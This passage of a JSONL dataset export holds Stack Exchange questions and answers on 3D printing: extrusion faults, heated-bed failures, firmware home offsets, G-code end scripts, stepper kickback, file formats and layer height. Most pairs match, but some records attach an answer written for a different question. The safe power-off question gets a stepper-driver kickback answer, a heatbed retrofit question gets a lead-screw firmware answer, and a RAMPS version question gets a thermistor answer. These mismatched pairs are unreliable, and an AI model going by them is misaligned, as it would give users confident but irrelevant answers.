"intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:55.652617"}
{"id": "hf_c8c2c682bb4e", "question": "<p>I had a problem with my nozzle on my homemade printer. The problem was that the nozzle with a 0.4 mm diameter wasn't putting out any plastic. I replaced the nozzle with a 0.2 mm one and now the bottom of my model is looking like this: <a href=\"https://i.stack.imgur.com/UFSHV.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/UFSHV.jpg\" alt=\"waves\" /></a>\nI tried to change flow,temperatures and speed.\nBut nothing helped it keeps making this waves. At the old 0.4 mm nozzle there everything was okay.</p>\n", "question_body": "", "answer": "Without more detail is difficult to say with certainty what the\nroot\ncause of the problem is, but it looks like\ntoo much material is being deposited on the bed\n.\nA few things to try/check:\nMake sure the nozzle is not leaking\n.  If it is, you should see fused plastic coming out from the seal nozzle/hot-end and/or hot-end/heat break and trickling down.  This is often the case when the nozzle hasn't been tightened enough, or it has been changed with the hot-end being cold, or if the internal PTFE tube has been dislodged upwards (does not apply to all-metal hot-ends).\nMake sure you changed the appropriate setting for the nozzle diameter\n.  This is\nnot\n\"flow\" it is a separate setting.  If you haven't, your printer is now extruding ~4 times as much filament as it ought.\nRecalibrate your nozzle height\n.  This should be done at each nozzle change, as each nozzle is slightly different from the other, and it is possible your new nozzle now sits too close to the bed.\nEDIT\n: also, the picture is too low-res to be sure, but looking at the skirt,\nit looks like the extruded plastic comes out in blobs\n.  If it is not due to leakage, then I would suggest to also check that the filament is not slipping through the gears of the extruder.  If you have access to a suitable thermometer, you could also check that the hot-end temperature is stable at the level it should.\nFinal thought: have you ever succeeded printing with that filament spool?  It is unlikely, but it may be for example a defective one, or a mis-labelled one (so your printing temperature may be wrong).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:55.676657"}
{"id": "hf_780915d011e8", "question": "<p>Just last night the heat bed stopped working. It was fine up to 75&nbsp;% of the print, then when it was done the bed was not on anymore. The display said it was set to 50&nbsp;&deg;C, but it was at 18&nbsp;&deg;C. I did try moving the pins, and that is not loose (very simple thing to try). </p>\n\n<p>I want to know what could have happened and what to look for when I try to fix the heat bed. </p>\n\n<p>Please note: I do have a multi-meter. I do not use a MOSFET (I do have plans to install on)</p>\n\n<p>Upon further investigation, I tested the mother board for any voltage were the bed hooks up and there is nothing. I had the printer trying to heat the bed when I was testing. But the thermistor is working, when I unhooked the connection the thermistor went to 0&nbsp;&deg;C, when plugged in it went to 18&nbsp;&deg;C. </p>\n\n<p>Is it the motherboard? How can I fix this knowing no power is being supplied to the bed from the motherboard? Do I need a new motherboard?</p>\n", "question_body": "", "answer": "This is a shot in the dark, but the vast majority of problems with a heating bed stopping to work is usually at the cables/connectors interface.\nThis is because in printers like the A6, the cable/connector is subject to constant mechanical stress, and - since\nmetal fatigue\nis a thing - either the solder or the cable core cracks.\nYou should make good use of your tester to verify the integrity of the circuit in the bed and if it is not toasted you should be able to just repair the connection.\nFor many printers there exist \"strain relief mods\" to prevent this type of failure to happen.  The first one showing up for the A6 is\na full chain\n, but normally is enough the have a small enclosure for the connector like\nthis one\nfor the CR-10.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:55.713436"}
{"id": "hf_f9c84ef020ae", "question": "<p>Right now my heated bed is down and I had no time to try and fix it and I am trying to print something for a friend. I am having the PLA lift around the edges which I have NEVER experienced. The glue is not helping like it did with the heat. And I also tried rubbing alcohol on the masking tape I use, heard that helps and it was not that much better than the glue stick. What can I do to keep the plastic sticking to the bed during print. </p>\n\n<p>I will note that the lift is not super bad, but I do like the littlest of lift on any print. </p>\n", "question_body": "", "answer": "Most of the same reccomendations that apply for adhesion to a hot bed apply for a cold one.  The first ones to come to mind:\nreally dial in the nozzle height\nmake the first layer taller than the rest (e.g.: 0.2mm if the rest of your print is 0.1mm)\nprint the first layer very slowly\nprint the first layer at higher temperature\nuse a brim or a raft (on my first printer, that had no heated bed, rafts gave the least deformation)\nturn off the part fan for the first layer\nadapt your model to reduce twisting forces (relief cuts, print it in parts, choose orientation wisely, etc...)\nIf your slicer has this feature, you could also try to print with a shroud.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:55.749327"}
{"id": "hf_63f2be26d693", "question": "<p>As part of a project with my university, I have developed a new extruder to attach to a Prusa i3 MK2. My problem is that both the nozzle and PINDA probe have moved 17mm forward and 0.5mm to the right. As a result when I try and calibrate the printer it moves to the home position and the PINDA probe is too far out over the heatbed so it doesn't detect the printing surface. What is the simplest method of moving the home position so that the printer can be properly calibrated?</p>\n\n<p>UPDATE:\nI am planning on removing the heatbed and placing spacers that will move the printing surface 17mm forward. This should then prevent the printer losing any printing area and hopefully prevents me having to edit any code. Can anyone see any problems with this I'm overlooking?</p>\n\n<p>The simplest thing to do would be to move extruder 17mm closer to be the same as the original printer but my deadline is fast approaching and I haven't time for a redesign that large.</p>\n", "question_body": "", "answer": "Consider the original installation with the orientation of the Pinda probe to the nozzle. Let's say for argument's sake that the Pinda probe is 3 mm to the right and directly in line with the nozzle on the y axis.\nIf you examine your new nozzle, I would expect that the relationship of the nozzle to the Pinda probe no longer matches the original spacing.\nIf possible, re-design the mount to place the Pinda probe in such a way as to match the original design.\nThanks for pointing out my oversight, Mac. If the relative position of the nozzle and pinda probe are as the original, the solution is then in changing the appropriate parameters in the firmware.\nI found a\nreference\nfor someone who had a bit smaller error in home position, but the concept is the same.\nThe link above points to information reading thus:\nIn Configuration_Prusa.h:\nCode: Select all // Home position\ndefine MANUAL_X_HOME_POS 0\ndefine MANUAL_Y_HOME_POS -2.2\ndefine MANUAL_Z_HOME_POS 0.15\n// Travel limits after homing\ndefine X_MAX_POS 250\ndefine X_MIN_POS 0\ndefine Y_MAX_POS 210\ndefine Y_MIN_POS -2.2\ndefine Z_MAX_POS 210\ndefine Z_MIN_POS 0.15\nit will be necessary to connect the printer via USB to a computer running an Arduino IDE and to load the Prusa specific files for that printer. Edit the noted location, save/write the configuration and test.\nI would suggest small adjustments in only one or two parameters at a time, to avoid ambiguity in the cause/result sequence.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:55.802240"}
{"id": "hf_5fbb7a922186", "question": "<p>Is the firts time that I saw this movement after the printing has finishig and causes the nozzle crashes to the printed part and I noticed due the part is 14x8 and the nozzle is to near and below to the border of the shape. I supposed that some scripts has changed but, seems to be everything ok.</p>\n\n<p>this is the end script:</p>\n\n<pre><code>G92 E0\nG1 E-1.5000 F1800\n; layer end\nM104 S0 ; turn off extruder\nM140 S0 ; turn off bed\nG28 X0  ; home X axis\nM84 ; disable motors\n; Build Summary\n;   Build time: 3 hours 9 minutes\n;   Filament length: 12689.1 mm (12.69 m)\n;   Plastic volume: 30520.78 mm^3 (30.52 cc)\n;   Plastic weight: 38.15 g (0.08 lb)\n</code></pre>\n\n<p>Z axis moves down 4mm after finishing going to X0, why? I don't want the nozzle crashes the part on going to zero.</p>\n", "question_body": "", "answer": "You can use:\n```\n```\nG91\nG1 Z10\n```\n```\n```\nG91\n```\nmake the printer use ralative positioning, while\n```\nG1 Z10\n```\nwould move the gantry up of 10mm, reagrdless of its actual position.\nIn order to understand what's going on, you could experiment with the position of those lines in the script.\nThe safest bet it to insert them at the very top, but you could insert them straight after the homing of the X axis to understand if the drop you are seeing is caused by the homing command itself or by the ´M84´ one.\nMy\nguess\nis that the drop is actually caused by the latter.\n```\nM84\n```\ndoesn't really \"disable motors\", rather it stops using energy to keep them still (i.e.: it stops the\nidle hold\n).  What I believe is happening in your case is that when you stop the idle hold, the weight and mechanical play of the X gantry causes it to move slightly (a bit like when you relax your body on the sofa and you \"sink\" in it a bit more).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:55.826553"}
{"id": "hf_c7984fc1140d", "question": "<p>Is there an integrated kickback protection in stepper motor drivers or should I make my own?\nI am afraid the steppers might fry the driver or the arduino when i turn off the power for them.\nI do that by turning off the power supply.\nI haven't had an issue yet but it still bothers me.</p>\n", "question_body": "", "answer": "Kinda, sort of, but not really. I'll look at the A4988 (\ndatasheet\n).\nThe motor pins are connected by diodes to ground and Vbb (the motor suppply voltage). Essentially, they act as a bridge rectifier making any back EMF or inductive spikes appear (rectified) on Vbb. If you were to suddenly power down the driver this could cause a rather large spike on Vbb.\nAccording to the datasheet, there is a 40 V Zener on Vbb which will clamp the voltage to that level. (Another popular stepper driver, the DRV8825, does not appear to have this Zener - always check your datasheet!)\nSo, yes, there is inductive kickback protection. However, it only clamps the voltage to 40 V. Depending on the rest of your circuit, this could be quite damaging.\nThe datasheet recommends that a 100 μF capacitor be placed on Vbb. If you are driving a typical stepper motor with 2 A and 4 mH coil inductance, the energy stored in the coil is 8 mJ. This energy is only enough to take the capacitor up from 12 V to ~17.5 V, so if you have a large enough capacitor on your stepper driver (as you should!) then you're protected against inductive kickback.\nNote that if you move the motors by hand then you can still build up a higher voltage on Vbb. I've heard anecdotes of people who damaged their printers like that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:55.854141"}
{"id": "hf_5f73d5b1f622", "question": "<p>I just got my first 3D printer today, QIDI X-ONE[2], and so far so good with the setup and getting my 1<sup>st</sup> print. I wanted to power off the printer, but I don't see any instructions on how to properly power off the machine.</p>\n\n<p>Does anyone know how long I should wait, or what the minimum temperature would be safe to power down the machine? </p>\n", "question_body": "", "answer": "Kinda, sort of, but not really. I'll look at the A4988 (\ndatasheet\n).\nThe motor pins are connected by diodes to ground and Vbb (the motor suppply voltage). Essentially, they act as a bridge rectifier making any back EMF or inductive spikes appear (rectified) on Vbb. If you were to suddenly power down the driver this could cause a rather large spike on Vbb.\nAccording to the datasheet, there is a 40 V Zener on Vbb which will clamp the voltage to that level. (Another popular stepper driver, the DRV8825, does not appear to have this Zener - always check your datasheet!)\nSo, yes, there is inductive kickback protection. However, it only clamps the voltage to 40 V. Depending on the rest of your circuit, this could be quite damaging.\nThe datasheet recommends that a 100 μF capacitor be placed on Vbb. If you are driving a typical stepper motor with 2 A and 4 mH coil inductance, the energy stored in the coil is 8 mJ. This energy is only enough to take the capacitor up from 12 V to ~17.5 V, so if you have a large enough capacitor on your stepper driver (as you should!) then you're protected against inductive kickback.\nNote that if you move the motors by hand then you can still build up a higher voltage on Vbb. I've heard anecdotes of people who damaged their printers like that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:55.878887"}
{"id": "hf_4dd856b4fbbb", "question": "<p>Does anyone know of a good way to convert a 3D print file, like STL, to STEP - a useable file format for plastic injection molding companies?  </p>\n\n<p>I have tried to convert the files through a couple of programs without success. The most requested file is a STP or STEP file.  If there’s no easy way to convert it, which I don’t think there is, does anyone know someone good at re-creating CAD files?</p>\n", "question_body": "", "answer": "I've been able to manipulate an STL file using the hobbyist version (free) of Fusion 360. There's a series of steps involved that may require some research and experimentation, at least it did in my case.\nOne loads the STL file into Fusion 360 by using Insert, Mesh.\nOnce loaded, turn off history.\nThe next step is to\nconvert the mesh file to BREP\n.\nIn that form, the surfaces can be edited and the model can be modified if necessary.\nI have not exported to STEP, but have confirmed that\nFusion 360 supports STEP\nas a valid export file format.\nBoth links provide additional information that may be of value to your project.\nConsider also to double check your STL file to ensure it is manifold.\nMeshmixer\nis useful for such purposes. One model imported into Fusion 360 had entire faces removed due to a manifold error in the original model.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:55.926925"}
{"id": "hf_51ff9e06df84", "question": "<p>I am having problems with my tevo tarantula large bed 12Volt power supply, I am getting the thermal protection message when heating my bed with target temperature set to 115 degrees.\nThe process slows down after reaching 90.\nI changed merlin settings to trigger thermal shutdown after 5minutes/2degrees and added a cover to the printer, so getting now 103 degrees (usually shutdown was at 100/101).</p>\n\n<p>link to a video showing panel: <a href=\"https://photos.app.goo.gl/jiW9NE7wEB4H0mOy1\" rel=\"nofollow noreferrer\">https://photos.app.goo.gl/jiW9NE7wEB4H0mOy1</a> \n<a href=\"https://i.stack.imgur.com/l3D0P.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/l3D0P.jpg\" alt=\"printer under the polystyrene cover\"></a></p>\n", "question_body": "", "answer": "You need to increase the power of the heated bed. With a given amount of power, there is an upper limit to the maximum temperature you can reach because at a given point losses due to conduction, convection and radiation will balance out the heating power and the temperature will not increase any more.\nSometimes, inability of the bed to heat up is due to the supply voltage sagging under load. First, measure the supply voltage with and without the bed turned on. If you find the supply drops significantly when the bed is turned on, you need a new power supply.\nOtherwise, you will need to either:\nGet a new, higher-power heated bed. Make sure that it is compatible with your electronics, or upgrade them as needed.\nIncrease the supply voltage so that the bed you already have will give more power. Some power supplies have a small adjustment potentiometer that lets you adjust the output voltage. Be careful when doing this. Even a small change in voltage gives a big increase in power. For a heated bed with resistance R at voltage U, the power dissipation is U\n2\n/R. Going from 12V to 13.5V already gives 26% more power.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:55.951714"}
{"id": "hf_4be048ca27a0", "question": "<p>I have modified my Prusa i3 MK2 printer so that the existing extruder motor has now been attached to a 5mm lead screw with a 1mm pitch. What is the easiest way to control the extruding of the printer now.</p>\n\n<p>For example is it possible to change the settings in slic3er at all for the extruder? or would I have to download and edit the marlin firmware?</p>\n", "question_body": "", "answer": "The firmware of the printer reads the g-code, in this instance, for z-axis movement. The g-code provides only (primarily) millimeters of movement and direction, along with speed.\nThe firmware reads those figures, figuratively speaking, and knows from the values stored in the firmware, how many steps to rotate the motor, in what direction and at what rate.\nI suppose if you were a glutton for punishment, you could write some code to convert the existing measurements to ones that are adjusted for the new screw, but that's just crazy. Imagine that your new screw provides for 3.729 times the movement that the old screw did per unit of rotation. You'd have to find all the z-movements in the code and apply that factor to those numbers. I suspect rounding errors might make for a less-than-satisfactory print.\nAs you've mentioned in your question about editing the firmware, one may expect that you have an idea what is involved. If not, that may be the topic of another post.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:55.975628"}
{"id": "hf_d0fe29035ff1", "question": "<p>Anybody ever tried to retrofit a heatbed to the da Vinci mini w with the proper dimensions (165 mm x 165 mm or 6.5&quot; x 6.5&quot;).</p>\n<p>Where can I find a heatbed that fits and a corresponding power supply / PID controller?</p>\n", "question_body": "", "answer": "The firmware of the printer reads the g-code, in this instance, for z-axis movement. The g-code provides only (primarily) millimeters of movement and direction, along with speed.\nThe firmware reads those figures, figuratively speaking, and knows from the values stored in the firmware, how many steps to rotate the motor, in what direction and at what rate.\nI suppose if you were a glutton for punishment, you could write some code to convert the existing measurements to ones that are adjusted for the new screw, but that's just crazy. Imagine that your new screw provides for 3.729 times the movement that the old screw did per unit of rotation. You'd have to find all the z-movements in the code and apply that factor to those numbers. I suspect rounding errors might make for a less-than-satisfactory print.\nAs you've mentioned in your question about editing the firmware, one may expect that you have an idea what is involved. If not, that may be the topic of another post.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:56.000185"}
{"id": "hf_adabe76cee54", "question": "<p>This print failed a couple of hours in. I was wondering if the nature of the print surface, with lots of retracts (similarly the previous print which was OK) might have contributed to the clog, or if it's just bad luck? To be clear, the surface has lots of short dead-end, not just a wiggly perimeter. \n<a href=\"https://i.stack.imgur.com/iymMN.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/iymMN.jpg\" alt=\"enter image description here\"></a>\nThe filament seemed to have stopped moving, and was cut through by the drive gear.</p>\n\n<p>This was a genuine Titan Aero extruder, 0.4mm nozzle, 215C (on an Anet a8 printer)</p>\n", "question_body": "", "answer": "Reading your question it's not clear to me if you are referring to\nfilament retraction\n(which is a configurable setting) or\nsurface recesses\nwhich seems what you are referring to when writing:\nthe nature of the print surface, with lots of retracts\nIf it is the latter, then the answer is \"no\".  The amount of complexity of the surface of the model does not correlate\ndirectly\nto the possibility of the printer head clogging.\nIf it is the former, then the answer is \"possibly\".\nIt is in fact not so much the amount of retracts that affects the likelihood of a clog but rather their speed and lenght\n.  If you retract\ntoo quickly\nand\ntoo much\nfilament, you risk to have molten plastic being \"sucked\" into the cold end, solidify, and act as a glue, blocking the filament in place.\nThis is especially true for all-metal print heads\nlike titan aero, as plastic sticks a lot better to metal than to PTFE.\nHowever,\nwith a\nproperly calibrated\nretraction, you shouldn't experience problems\nregardless of how many times / how often you retract the filament.\nIn general, it is a common misconception that retraction should work as a plunger, actively sucking in plastic that would otherwise ooze out of the nozzle.  However\nall you need is to just release the pressure within the melting chamber, and in a direct drive (i.e.: non-bowden) extruder, this requires a very minimal retraction\n.\nFinally: what material are you printing in?  The picture shows a lot of oozing for being PLA. If you are using a flexible material like nylon or ninjaflex, you should probably just let retraction alone: the hysteresis in such materials is very high, and retraction often does not work predictably.  If it is PLA, I would try to increase the movement and retraction speed, and probably lower the temperature 10 or 15 degrees.  As for the retraction lenght, I don't own a titan, but I would expect the correct amount to be somewhere between 0.5mm and 2mm.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:56.024139"}
{"id": "hf_5858fc70400d", "question": "<p>After doing a lot of research, I've decided I want to purchase a Creality CR-10S as my first 3D printer. I'm trying to locate a reputable, local seller. Other than Amazon, which seems to have a bit of a mark-up on price, I'm finding several websites that seem to be located outside of the US. Can anyone direct me to a seller located in the US?</p>\n", "question_body": "", "answer": "I am afraid unless you are available to accept the mark-up, you won't find a\nreputable seller\nother than in mainland China.  The entire business model of Creality is \"cheap-cheap-cheap B2C\" and any step you add to the supply chain (like a reseller) will be:\nAn added cost\nthat will be reflected on the final price you pay\nA reseller-based initiative\n, meaning that it won't be part of a \"creality global distribution network\", but the project of that local entreprenour.\nThat said, I read in a couple of places that\ntiny machines\n(Houston, Texas)\ndoes a good job by testing each unit prior to shipping, and has similar lead times than good sellers from China (a couple of weeks).\nPlease note I am not affiliated with them in any way.  For that matters, I don't even leave in North America nor have purchased anything from them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:56.048806"}
{"id": "hf_4206237e37b6", "question": "<p>I'm getting seemingly random lines scattered across the top surface of my prints:</p>\n\n<p><img src=\"https://i.stack.imgur.com/UdXPx.jpg\" alt=\"lines1\">\n<img src=\"https://i.stack.imgur.com/gf0OH.jpg\" alt=\"lines2\"></p>\n\n<p>Printer: Anycubic i3 mega<br>\nSlicer: Cura 3.2.1<br>\nPrinter chosen in Cura: Prusa i3, <em>Gcode flavor</em> changed to <em>RepRap</em><br>\nCura Profile: <em>Fine</em>, \"Outer before inner walls\" enabled</p>\n\n<p>What might be the reason?</p>\n", "question_body": "", "answer": "Our local library has a genuine Prusa i3 Mk2.5 that recently had this problem. Because of the number of fingers engaging such a system, it was not immediately discovered that a different profile had been selected in which the Z-hop was turned off.\nZ-hop is a feature in which the nozzle lifts slightly (and is height-adjustable) as it moves from one portion of the print to another.\nAccording to my brief research, Cura supports z-hop in the settings. Either it has to be activated or perhaps slightly increased. The aforementioned Prusa works great with 0.5 mm lift.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:56.085147"}
{"id": "hf_7b64542bf58b", "question": "<p>One of the CAD programs I use is called <a href=\"http://www.tinkercad.com\" rel=\"noreferrer\">TinkerCAD</a>, which lets you export your design in either STL or OBJ form. What is the difference between these two file types? And which one is better to use?</p>\n", "question_body": "", "answer": "STL is the\nde facto\nstandard in consumer-grade 3D printing\n.  It is a bare-bone format that describes the shape of the object by defining the coordinates of all the vertices of all triangles that a surface may be subdivided into.\nThis means that in STL any curved surface is represented with an approximation of many very small faces.\nOBJ is also somewhat common, but it was originally developed for computer graphics, not manufacturing, and as such is capaple to store information like the texture images to be applied to the surface, which are of no use in the 3D printing world.\nIn terms of geometry description, OBJ is more capable than STL, as it can describe \"real\" curves, without the need to approximate them to a series of polygons.  The benefit of this feature is however more theoretic than practical, as:\nmost entry-level CAD software don't make use of that feature and create a STL-equivalent OBJ file (so, still with polygons)\na typical STL model for 3D printing will have enough resolution to give the illusion of perfect curves (the same way a high-res screen gives the illusion of perfect curves, despite its pixels being arranged in a squared matrix),\nthe slicer/printer's firmware may themselves approximate an accurate curve to a series of segments\nShort said,\nI would suggest you use STL unless you have a specific reason not to\n.\nIf you would find yourself in need to accurately describe curves I would rather use the STEP file format, as that has been specifically created for manufacturing, rather than \"borrowed\" from computer graphics.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:56.113546"}
{"id": "hf_0460a0eb5598", "question": "<p>About two days ago, I started seeing that my hotend was heating up erratically. I first noticed this while printing a part in PETG and the temp jumped to 260&nbsp;°C. I shut down the printer at that time and first started checking the hardware. I noticed that the E3D V6 thermistor had been tightened too much. I disassembled the entire hotend, cleaned everything and then reassembled everything. I thought to retune the hotend and when I tried tuning it at 240&nbsp;°C. </p>\n\n<p>This is where the strange behavior occurs. The hotend steadily climbed up till about 200&nbsp;°C. After that it just went nuts. I started seeing unreal temps such as 646&nbsp;°C and such. At this point I thought the MEGA might be at fault. I replaced it and the hotend (an E3D V6 clone). This had the screw on glass thermistor. Again the same erratic behavior and unreal temp readings. </p>\n\n<p>What could be wrong here? What am I missing? Can this be the heater cartridge? </p>\n", "question_body": "", "answer": "This can come from several sources:\nHardware\nThe thermistor or its connections might be damaged, and the fault is only observable when the hotend is hot or moved to a certain area. Start by checking the wiring! You may be able to repair a bad connection easily, but depending what was broken, you may need to replace something. In some cases squishing a thermistor cartridge too much can destroy the internals, so a replacement is needed.\nA mainboard failure is more likely to just show a static temperature, and a heater failure would show as maybe not getting past a certain point.\nFirmware\nIf it had not worked before or you changed the firmware, the firmware should also be a suspect. The firmware can 'fail' when using the wrong thermistor type/table which can result in a very big offset or bad slope, resulting in wrong or unaccurate readings.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:56.163193"}
{"id": "hf_f08624146a9e", "question": "<p>I'm about to build a <a href=\"https://toms3d.org/2017/02/23/building-cheapest-possible-prusa-i3-mk2/\" rel=\"noreferrer\">Prusa i3 dolly</a>. I am confused whether to use RAMPS 1.4 or 1.5 or 1.6.</p>\n\n<p>What is the big difference? Is it only the MOSFETs and the poly-fuses? If that is the case, would it be advisable to upgrade a RAMPS 1.4 board (replacing the MOSFETs, connectors, and fuses)?</p>\n", "question_body": "", "answer": "This can come from several sources:\nHardware\nThe thermistor or its connections might be damaged, and the fault is only observable when the hotend is hot or moved to a certain area. Start by checking the wiring! You may be able to repair a bad connection easily, but depending what was broken, you may need to replace something. In some cases squishing a thermistor cartridge too much can destroy the internals, so a replacement is needed.\nA mainboard failure is more likely to just show a static temperature, and a heater failure would show as maybe not getting past a certain point.\nFirmware\nIf it had not worked before or you changed the firmware, the firmware should also be a suspect. The firmware can 'fail' when using the wrong thermistor type/table which can result in a very big offset or bad slope, resulting in wrong or unaccurate readings.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:56.187662"}
{"id": "hf_8f9f568250f3", "question": "<p>So like I sayed in the title, Why can't the Anet A6 do .05 layer height? I found that some printers can do .05 layer heights, but the Anet A6 can't? I am interested to know if it is the stepper motors or the threaded rods or something. Maybe this is something I can do a small \"test print\" on? </p>\n", "question_body": "", "answer": "I'm not familiar with the Anet A6 specifically, but as many other things in a 3D printer, the minimum layer height is co-determined by a number of factors.  For the Z-axis the factors I am aware of are:\nThe number of steps in the stepper motor\nThe geometry of the lead screw\nThe tolerance with which the lead screw has been machined\nThe microstep settings\nThe quality of the stepper drivers\nThe amount of play and flexibility of the X-axis gantry\nThe ration between filament and nozzle diameter\nThe precision of the extruder's stepper motor\n...\nMany printers that claim to have ridiculously low minimum Z-layer height do so by relying on the mathematical model only.  It goes something like this: the lead screw has an offset of 1mm per revolution, the stepper motor makes 200 steps and is set for 32 microsteps per step so the minimum resolution should be...\n```\n```\n1mm / (200 * 32) = 0.0002mm\n```\n```\nThe reality is however different.  For example: the lead screw may have been machined with a tolerance of 0.002mm, so to make sure a layer has a thickness >0mm its heigh should be >0.004mm (20 times the theoretical limit computed with the microsteps).  But to make sure layers have the same height ±10% you would need to increase the minimum layer heigh of an order of magnitude, bringing it to 0.04mm.  A similar reasoning applies for the amount of play in the gantry, while the ratio between filament and nozzle influences the minimum volume of plastic that can be extruded per step (for very thin layers you want to be able to extrude a minimal amount of it).\nAt the end of the day\nthis is a typical case of \"a chain is only as strong as its weakest link\"\n: the minimum layer height of a printer is affected much more dramatically by the limitations of the most imprecise component in the printer than by the performance of its best one.\nAs for your question about breaking the printer by issuing g-code with very thin layers: should you issue gcode that requires layers below that limit, the firmware will simply print at the same z-height (see comments, credits to Tom).\nI'm unaware of people having permanently damaged their machines by issuing code with too thin Z-layers.  But given how the firmware operates, I'd expect the quality of the print to be negatively affected, the filament to be possibly chewed by the cobbed wheel and in extreme cases cloggig of the printer head.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:56.212788"}
{"id": "hf_924187e779e7", "question": "<p>I re-read my question and realized I made a confusing one, so I am rewording a LOT.</p>\n\n<p>So the software I use is Craftware. When it comes to the first layer I have it set to .25mm, with the following layers being whatever I specify otherwise. And because of this there shouldn't be a difference with the first layer even though I choose different layer heights based on the project. But for some reason it is not the case. </p>\n\n<p>When printing .2mm layer height everything works great. The print adheres amazing, the nozzle is at a really good height. Everything simply works. </p>\n\n<p>When printing .1mm the first layer does not stick. A lot less plastic is coming out the nozzle. And it is a disaster. Have tried increasing the amount of flow a bit, but didn't help (I might need to raise it a lot more)</p>\n\n<p>So I don't understand what is going wrong. The first layer is supposed to be set at .25mm no matter what the layer height is otherwise. What do I need to do or look at? </p>\n", "question_body": "", "answer": "You have asked several questions here.\n\"why is first layer set to 0.25\" -- check the gcode file, opening it in a text editor, to see what layer values are specified.\n\"looks like under-extrude\" -- please show a picture.  If it's purely that the print failing to adhere, you may need to adjust the Z-zero point slightly. Or perhaps When you printed at 0.2mm, for whatever reason the transverse stress on the base layer is less than when printing at 0.1 mm (e.g., linear speed adjustments needed).\nIs the second layer somehow not adhering to the first layer?  It is possible that the linear speed setting for the first layer is too high and that should be adjusted.  Or perhaps the z-height for the second layer is inconsistent with a 0.1mm layer setting, so check the gcode there too.\nIn general, adherence problems can be dealt with by adding a raft or brim. See if that suffices.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:56.298111"}
